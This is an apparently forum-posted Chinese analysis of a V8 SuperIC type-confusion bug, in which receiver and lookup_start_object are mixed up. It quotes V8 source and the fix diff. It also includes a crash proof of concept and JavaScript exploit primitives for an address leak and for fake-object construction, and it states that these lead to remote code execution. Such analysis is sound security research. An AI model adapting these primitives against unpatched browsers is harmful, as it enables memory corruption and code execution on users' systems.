问题出现场景:
假设对象A,其偏移+10的地方有一个属性x,这个属性为数字,同时存在一个B对象,这个对象偏移+10的地方是一个Object对象地址。(v8在性能优化的时候会使用对象地址加偏移的方法来直接获取属性,比如在IC内联缓存,还有JIT优化以后。)
实际处理中如果A,B对象出现混淆,例如在v8在JS函数调用期待的是处理对象A的属性x,并且x为一个数字类型,如果实际上处理却传入了对象B,就会根据B的基址+10偏移取值,并将其当作A的数字属性x返回,这样造成的结果就会将B+10偏移的对象地址当作A的属性x数字返回给JS调用函数,出现信息泄露。
如图1
反过来,如果JS函数调用期待的是处理A对象的偏移+10的属性x,并且x为一个对象,如果实际上处理却传入的是对象B,那么就会根据B的基址+10偏移取值,并当作A的属性x返回,这样造成的结果就会将B+10偏移指向的数字,当成A的属性x对象返回给JS调用者,如果B偏移+10的这个地址指向我们预先设定的数据,就可以伪造一个对象结构。
如图2
比如函数:
function foo(obj)
{
return obj.x;
}
for(let i=0;i<20;i++)
{
foo(a);
}
v8在开始处理这个foo(a)的时候,会进行profiling data和feeback进行收集,然后根据profiing data和feedback的信息进行内联缓存优化。
比如我们一直使用 a={x:1}进行foo(a)运算,那么v8会在处理这个foo(a)运行到一定次数后,记录下a的数据结构,然后下次如果再碰到这种foo(a)运算时,直接使用a的地址加上a对象地址与x属性的偏移来进行x属性数据的索引,提升v8运行的效率。
class A{
get prop(){
return this.x=1;
}
}
class B extends A{
m(){
return super.prop;
}
}
var b = new B();
console.log(b.m()); //<------ '1'
比如上面这段JS代码里面,class A里面定义了prop函数,class B继承了class A,v8是通过super属性来获取class A中的属性x,严格来说,是获得A.prototype.x,然后返回给调用者的,v8有针对这种super索引的父类的情况有做专门的优化处理,这个处理阶段叫做superIC。
class A{
get prop(){
return this.x=1;
}
}
class B extends A{
m(){
return super.prop;
}
}
var b = new B();
console.log(b.m()); //<------ '1'
在这段JS代码中b.m()返回的是class B的super.prop,根据super关键字,v8会去去寻找父对象class A,然后根据class A prototype返回x属性。
也就是说在v8的处理中,b.m()会从class B再找到class A,再从class A的prototype里面找到x属性。
理想的v8 superIC处理过程中,这个发起寻找属性的对象,以这个例子来说,这段JS代码中的b对象实例在v8中叫做receiver,然后用一个叫lookup_start_object的对象来标识进行这个寻找过程所用的对象,lookup_start_object先为class B,然后为class A,最后为A.prototype,最后根据class A的prototype中找到x属性,并返回给调用程序。
之后如果出现同样的运算,v8会根据lookup_start_object的数据数据结构,利用lookup_start_object加上lookup_start_object与属性x的偏移,并将这个偏移的值取出返回。
这里可以看到,receiver和lookup_start_object并不是一个东西,在实际的js中,我们可以通过B.__proto__这样的运算来修改掉B对象里面的super关键字指向的对象,这样可以造成receiver.x和lookup_start_object.x内存布局不一致。
如下JS代码:
function foo(obj)
{
return obj.x;
}
如果每次传入的obj都为对象a,那么v8 IC之后,会标记该属性为MONOMORPHIC。如果传入的obj有a对象,b对象两种情况,会标记为POLYMORPHIC,如果大于4种情况,则会标记为MEGAMORPHIC。
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
ExitPoint direct_exit(this);
TVARIABLE(MaybeObject, var_handler);
Label if_handler(this, &var_handler), no_feedback(this),
non_inlined(this, Label::kDeferred), try_polymorphic(this),
miss(this, Label::kDeferred);
GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]
// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
TNode<MaybeObject> feedback = <------- [1]
TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
&if_handler, &var_handler, &try_polymorphic);
BIND(&if_handler); <------- [2]
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
&direct_exit);
}
BIND(&no_feedback); <------- [3]
{ LoadSuperIC_NoFeedback(p); }
BIND(&try_polymorphic); <------- [4]
TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
{
Comment("LoadSuperIC_try_polymorphic");
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}
BIND(&non_inlined); <------- [5]
{
// LoadIC_Noninlined can be used here, since it handles the
// lookup_start_object != receiver case gracefully.
LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
&if_handler, &miss, &direct_exit);
}
BIND(&miss); <------- [6]
direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(),
p->name(), p->slot(), p->vector());
}
```
如上述代码所示,2.1.1,一开始运行的时候,因为没有feedback,会命中miss[6],随后随着调用的增多,代码路径为[0]=>[1]=>[2]。创建feedback,然后执行LoadSuperIC_NoFeedback。
2.1.2,接着由于feedback的增多,代码执行路径为[1]=>[4]=>[5]。这里的[5]注释已经说明lookup_start_object!=receiver。而在一开始命中miss的时候,输入的参数中有p->receiver(),和p->lookup_start_object()。这里标示了LoadIC_Noninlined(p,lookup_start_object_map,....)也就是期待使用的是lookup_start_object。
```
void AccessorAssembler::HandleLoadICHandlerCase(
const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements, LoadAccessMode access_mode) {
Comment("have_handler");
TVARIABLE(Object, var_holder, p->lookup_start_object());
TVARIABLE(Object, var_smi_handler, handler);
Label if_smi_handler(this, {&var_holder, &var_smi_handler});
Label try_proto_handler(this, Label::kDeferred),
call_handler(this, Label::kDeferred);
Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);
BIND(&try_proto_handler);
{
GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
&if_smi_handler, miss, exit_point, ic_mode,
access_mode);
}
// |handler| is a Smi, encoding what to do. See SmiHandler methods
// for the encoding format.
BIND(&if_smi_handler);
{
HandleLoadICSmiHandlerCase(
p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
}
BIND(&call_handler); <------- [6]
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
p->context(), p->receiver(), p->name(),
p->slot(), p->vector());
}
}
```
如上述代码所示,在随后的操作中:
2.1.3:[6]在exit_point->ReturnCallStub()中,却使用p->receiver()来加入具体的函数执行,但如我前面2.1.2所说,v8使用的是lookup_start_object_map,期待的是lookup_start_object,出现了类型混淆(个人认为是因为v8的程序员认为使用p->receiver()和p->lookup_start_object()结果没什么差别)。
function main(){
class C{
m(){
super.prototype//返回C.__proto__.prototype
}
}
function f(){}
C.prototype.__proto__ = f//修改C.prototype.__proto__为f(){}函数。
let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2
f.prototype//制造prototype属性MEGAMORPHIC的情况,与这个poc触发的混淆代码路径有关。
c.m()
}
for (let i=0;i<0x100;++i) {
main()
}
这个poc构造过程如下:
2.2.1:创建一个class C,然后创建一个函数m()返回其super对象的prototype属性,也就是执行C.__proto__.prototype运算。
2.2.2:将C.__proto__改为指向f函数对象,当执行一定次数的main()以后,就会进行IC优化,此时进行c.m()运算,就会从class C中的m()成员函数进行super.prototype进行访问,最终访问到C的父类Object的prototype,然后会将C.__proto__,也就是函数f标记为lookup_start_object,然返回其prototype,并将lookup_start_object提供给后续的m()调用使用。
2.2.3:main中每次都function f(){}然后通过f.prototype来对prototype这个属性进行访问,制造出这个属性MEGAMORPHIC的情况。
2.2.4:添加x0,x1,x2,x3,x4属性添加给c。也就是上文所说的receiver,改变receiver的内存结构,使得和lookup_start_object不一致。
2.2.5:在触发内联缓存后,使用c.m()访问C.__proto__.prototype,v8正确的做法是使用lookup_start_object也就是函数f返回f.prototype来返回给JS,但实际上我们可以通过上面漏洞的代码片段看出,是使用receiver进行属性的查找,就会将我们设定的0x42424242 / 2代替f.prototype进行返回,并作为f.prototype的类型解析,最终出现了类型混淆报错。
但是单靠这点问题没法RCE,这个POC更多的是验证这种代码的问题。
if (!IsAnyHas() && !lookup->IsElement()) {
if (receiver->IsString() && *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
if (receiver->IsStringWrapper() && <------- [0]
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
如上所示如果receiver为String对象,在SuperIC过程中,会将receiver传进去,然后执行的为LoadIC_StringWrapperLength。
class O extends Object{
constructor(){
super()
this.x0 = this
this[0] = 0x41424344 / 2
this[1] = 0x45464748 / 2
}
m(){
return super.length
}
}
const o=new O()
function f(){
const proto = new String("a")
O.prototype.__proto__=proto
proto.length
return o.m()
}
for (var i=0;i<0x100;++i) {
const value=f()
if (value!==1) {
return [o,value-1]
}
}
通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后将O.prototype.__proto__指向的对象设置为lookup_start_object,紧接着我们将这个lookup_start_object改变为一个string对象,因为漏洞的原因(上述C++代码[0])实际上v8处理的对象为receiver,也就是我们的o,然后将o指向的Elements地址作为string对象的length属性返回。
这样就造成了信息泄露。
// Use specialized code for getting prototype of functions.
if (receiver->IsJSFunction() && <------- [1]
*lookup->name() == roots.prototype_string() &&
!JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
}
在上面这段代码片段中,如果recever为Function对象,那么在IC过程中会用receiver来执行LoadIC_FunctionPrototype。
const fake_array =(function(){
class A extends Array {
constructor(){
super(1,2,3,4)
this.x1 = 0x41414142/2
this.x2 = 0x42424242/2
this.x3 = 0x43434344/2
this.x4 = (da_elements_addr+8+2)/2
}
m(){
return super.prototype
}
}
const a = new A()
function f() {
const proto=function(){}
A.prototype.__proto__=proto
proto.prototype
return a.m()
}
for (var i=0;i<0x100;++i) {
const value = f()
if (value.length!==undefined) {
return value
}
}
通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后得到O.prototype.__proto__设置为lookup_start_object,紧接着我们将这个lookup_start_object设置为一个function对象,因为漏洞的原因(上述C++代码[1]处)实际上v8处理的对象为receiver,也就是我们的a,然后将a指向的da_elements_addr地址作为f对象的prototype属性处理。这样就将地址da_elements_addr的数据当成了对象。
有了信息泄露+对象伪造,就能轻松完成RCE。
有了前面的知识后,这补丁也就非常简单了,修补过程只要把上述代码片段中的receiver换成lookup_start_object就可以了:
@@ -220,8 +220,8 @@
BIND(&call_handler);
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
- p->context(), p->receiver(), p->name(),
- p->slot(), p->vector());
+ p->context(), p->lookup_start_object(),
+ p->name(), p->slot(), p->vector());
}
}
+ Handle<Object> lookup_start_object = lookup->lookup_start_object();
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
- if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+ if (lookup_start_object->IsString() &&
+ *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
- if (receiver->IsStringWrapper() &&
+ if (lookup_start_object->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
- if (receiver->IsJSFunction() &&
+ if (lookup_start_object->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
- !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+ !JSFunction::cast(*lookup_start_object)
+ .PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
@@ -864,8 +867,7 @@
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
- holder_is_lookup_start_object =
- lookup->lookup_start_object().is_identical_to(holder);
+ holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);
}
switch (lookup->state()) {
不过因为IC过程中的中间对象众多,编写v8的程序员会混淆的不只是receiver和lookup_start_object,这个issue是这种类型的第一个,会混淆的还有别的对象,现在我看过的就有3个。
看雪ID:苏啊树
https://bbs.kanxue.com/user-home-808412.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看